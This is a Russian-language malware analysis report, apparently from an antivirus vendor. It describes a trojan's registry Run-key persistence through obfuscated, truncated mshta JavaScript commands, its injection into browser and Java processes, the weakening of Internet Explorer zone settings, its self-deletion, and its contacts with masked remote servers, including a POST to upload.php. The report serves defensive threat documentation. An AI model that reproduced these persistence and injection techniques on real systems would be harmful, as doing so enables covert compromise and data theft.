Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:zRZx0e9HJ="OfPoxLj";ee2=new%20ActiveXObject("WScript.Shell");yWCiqr8z="GVeFHW";N44SQO=ee2.RegRead("HKCU\\so...
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] ' 85580900' = 'mshta javascript:fuFK2Oq="NF5JMtsv";h2s=new%20ActiveXObject("WScript.Shell");w5wClaDUP="nY6jOvdpi";NKmX7=...
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:lvdG9Qe="LDp";m48S=new%20ActiveXObject("WScript.Shell");sEBR1lh="T1EmWw";nKhC92=m48S.RegRead("HKLM\\softwar...
Вредоносные функции:
Запускает на исполнение:
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\dllhost.exe'
Внедряет код в
следующие пользовательские процессы:
- java.exe
- javaw.exe
- firefox.exe
- iexplore.exe
Изменяет следующие настройки браузера Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
Изменения в файловой системе:
Создает следующие файлы:
- <LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\upload[1].htm
Удаляет следующие файлы:
- <LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\upload[1].htm
Самоудаляется.
Сетевая активность:
Подключается к:
- '21#.#4.30.52':443
- '24#.#40.132.179':8080
- '17#.#7.149.117':80
- '85.##4.102.91':80
- '25#.#15.86.94':80
- '10#.#7.183.196':80
- '12#.#23.20.132':80
- '34.#92.4.38':8080
- '14.##.206.29':8080
- '59.##9.55.173':80
- '24#.#03.16.160':80
- '15.##8.73.219':80
- '24.##5.245.255':80
- '14#.#39.142.71':80
- '13.##4.38.131':80
- '24#.#5.18.115':80
- '24#.#38.65.199':80
- '19#.#5.251.58':80
- '18#.#56.109.54':80
- '49.##2.129.213':8080
- '11#.#3.222.145':443
- '64.##.118.170':80
- '15#.94.67.5':80
- '3.###.245.120':8080
- '84.##8.76.168':80
- '43.##9.67.112':80
- '10#.#07.249.114':443
- '20#.#76.85.117':80
- '11#.#9.215.92':80
- '10#.#7.212.143':80
- '24#.#48.185.44':80
- '90.##7.121.198':80
- '9.##5.40.10':80
TCP:
Запросы HTTP POST:
- http://15#.94.67.5/upload.php
UDP:
- DNS ASK dn#.##ftncsi.com
- DNS ASK microsoft.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'Indicator' WindowName: ''
